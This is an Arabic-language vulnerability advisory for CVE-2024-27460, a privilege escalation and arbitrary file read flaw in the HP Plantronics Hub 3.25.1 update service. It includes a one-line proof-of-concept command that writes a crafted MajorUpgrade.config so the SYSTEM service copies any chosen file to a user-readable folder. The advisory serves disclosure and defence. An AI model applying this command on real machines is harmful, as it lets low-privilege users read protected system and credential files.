CVE-2024-27460

HP Plantronics Hub 3.25.1 Updater - تصعيد الامتيازات / قراءة ملف تعسفية

الوصف:

يعاني HP Plantronics Hub 3.25.1 من خلل يسمح للمستخدمين ذوي الصلاحيات المنخفضة بقراءة ملفات تعسفية بصلاحية النظام (SYSTEM) على الجهاز المثبت عليه التطبيق. بالإضافة إلى ذلك، يمكن إساءة استخدام هذا الخلل لتصعيد الامتيازات إلى مستخدم النظام.

الإصدارات المتأثرة

HP Plantronics Hub 3.25.1

الخدمة(الخدمات) المتأثرة

المسار غير الآمن: "C:\ProgramData\Plantronics\Spokes3G"

الخدمة: PlantronicsUpdateService

خطوات إعادة الإنتاج (POC):

• افتح cmd.exe
• انتقل باستخدام cd C:\ProgramData\Plantronics\Spokes3G
• echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config
• سيتم نسخ الملف المطلوب إلى "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp"، وهو مسار يمكن لأي مستخدم موثق الوصول إليه.

تم الاكتشاف بواسطة:

• فاريد زروق من Deloitte Belgium
• علاء كشوح من Mastercard Europe